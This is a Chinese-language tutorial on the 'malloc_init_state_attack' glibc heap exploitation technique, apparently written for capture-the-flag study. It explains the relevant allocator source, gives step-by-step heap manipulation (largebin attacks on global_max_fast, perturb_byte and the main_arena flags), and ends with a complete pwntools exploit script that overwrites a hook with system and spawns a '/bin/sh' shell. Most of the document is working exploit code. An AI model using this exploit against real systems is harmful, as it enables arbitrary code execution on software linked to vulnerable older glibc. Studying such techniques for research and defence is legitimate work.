malloc_init_state_attack 攻击技术详解
1. 技术背景
malloc_init_state_attack 是一种针对 glibc 堆管理器的攻击技术,主要利用 malloc_consolidate 和 malloc_init_state 函数的特性来实现任意地址分配。
2. 核心原理
2.1 malloc_consolidate 函数
malloc_consolidate 是 glibc 中用于管理堆内存分配的重要函数,主要作用:
- 合并释放的内存块以减少碎片化
- 在 malloc 和 free 操作中起重要作用
关键逻辑:
if (get_max_fast() != 0) { // global_max_fast不为0,表示ptmalloc已经初始化
// ...
} else { // 如果global_max_fast为0
malloc_init_state(av);
check_malloc_state(av); // 非debug模式下该宏定义为空
}
2.2 malloc_init_state 函数
malloc_init_state 是 glibc 中 malloc 的内部初始化函数,主要功能:
- 设置 malloc 子系统的初始状态
- 初始化分配器使用的各类数据结构
- 初始化分配控制变量和内存池
关键行为:
static void malloc_init_state(mstate av) {
// 初始化所有bins
for (i = 1; i < NBINS; ++i) {
bin = bin_at(av, i);
bin->fd = bin->bk = bin;
}
if (av == &main_arena)
set_max_fast(DEFAULT_MXFAST); // 设置fastbin中最大chunk大小
av->flags |= FASTCHUNKS_BIT; // 标识此时分配区无fastbin
av->top = initial_top(av); // 关键点:将top chunk初始化为unsort chunk
}
其中 initial_top(av) 定义为:
#define initial_top(M) (unsorted_chunks(M))
#define unsorted_chunks(M) (bin_at(M, 1))
#define bin_at(m, i) (mbinptr)(((char *)&((m)->bins[((i)-1)*2])) - offsetof(struct malloc_chunk, fd))
此时 top chunk 的地址为 &av->bins[0] - 0x10,且 size 为之前的 last_remainder 的值(通常很大),通过不断 malloc 可以分配到 hook 指针。
注意:glibc-2.27 开始 malloc_consolidate 不再调用 malloc_init_state,该方法失效。
3. 攻击步骤详解
3.1 设置 last_remainder
需要将 last_remainder 指向一个 chunk 地址,使其包含一个大值:
- 申请两个堆块:
add(0, 0x200)
add(1, 0x200) # 防止free(0)时与top chunk合并
- 释放并重新申请:
free(0)
add(0, 0x100) # 触发切割操作
关键源码逻辑(当从 smallbin 切割时):
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long)(size) > (unsigned long)(nb + MINSIZE)) {
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 关键修改
remainder->bk = remainder->fd = unsorted_chunks(av);
// ...
}
- 清理堆块:
free(0)
free(1)
3.2 修改 global_max_fast 为 0
利用 largebin attack 将 global_max_fast 写 0:
- 布局堆块并泄露 libc 地址:
add(0, 0x428)
add(1, 0x10)
add(2, 0x418)
add(3, 0x10)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x39bb78
- 执行 largebin attack:
add(10, 0x500)
edit(0, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20 - 6))
free(2)
add(10, 0x500)
利用原理:利用地址高位两个字节的 00 来覆盖 global_max_fast 的默认值 0x80。
3.3 处理 perturb_byte 问题
alloc_perturb 函数会在分配时修改内存内容:
static void alloc_perturb(char *p, size_t n) {
if (__glibc_unlikely(perturb_byte))
memset(p, perturb_byte ^ 0xff, n);
}
需要通过多次 largebin attack 将 perturb_byte 清零:
for i in range(4):
add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20 - 7 - i))
free(2)
add(10, 0x500)
# 恢复堆块状态
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39bf68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39bf68) + p64(heap_base)*3)
3.4 修改 main_arena 的 flags
需要将 main_arena 的 flags 置 0 才能触发 malloc_consolidate:
add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym['main_arena'] + 4 - 0x20 - 6))
free(2)
add(10, 0x500)
3.5 触发 malloc_init_state
申请大堆块触发攻击:
add(10, 0x2130 - 0x510 - 0x10) # 精心计算的大小
3.6 获取控制权
现在可以分配到关键地址并修改 hook:
add(0, 0x500)
edit(0, p64(libc.sym['system']))
edit(10, '/bin/sh')
free(10) # 触发system("/bin/sh")
4. 完整利用代码
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/malloc_init_state_attack/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD": "/home/gets/pwn/study/heap/malloc_init_state_attack/libc.so.6"})
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
# 设置last_remainder
add(0, 0x200)
add(1, 0x200)
free(0)
add(0, 0x100)
free(0)
free(1)
# 泄露libc
add(0, 0x428)
add(1, 0x10)
add(2, 0x418)
add(3, 0x10)
free(0)
show(0)
libc.address = u64(io.recvuntil(b"\x7F")[-6:].ljust(8, b"\x00")) - 0x39BB78
# largebin attack修改global_max_fast
add(10, 0x500)
edit(0, p64(0)*3 + p64(libc.sym["global_max_fast"] - 0x20 - 6))
free(2)
add(10, 0x500)
# 泄露heap
show(0)
heap_base = u64(io.recvuntil(b"\x55\x55")[-6:].ljust(8, b"\x00")) - 0x450
# 恢复堆块状态
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)
# 多次largebin attack清零perturb_byte
for i in range(4):
add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym["global_max_fast"] - 0x20 - 7 - i))
free(2)
add(10, 0x500)
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)
# 修改main_arena flags
add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym["main_arena"] + 4 - 0x20 - 6))
free(2)
add(10, 0x500)
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)
# 触发malloc_init_state
add(10, 0x2130 - 0x510 - 0x10)
# 获取控制权
add(0, 0x500)
edit(0, p64(libc.sym['system']))
edit(10, '/bin/sh')
free(10)
io.interactive()
5. 防御措施
- glibc-2.27 及以上版本已修复此问题
- 启用堆完整性检查
- 使用最新的安全补丁
6. 总结
malloc_init_state_attack 是一种精巧的堆利用技术,通过:
- 控制
last_remainder - 修改
global_max_fast为 0 - 触发
malloc_init_state - 利用修改后的 top chunk 指针实现任意地址分配
虽然该技术在较新版本的 glibc 中已失效,但理解其原理对于研究堆利用技术仍有重要意义。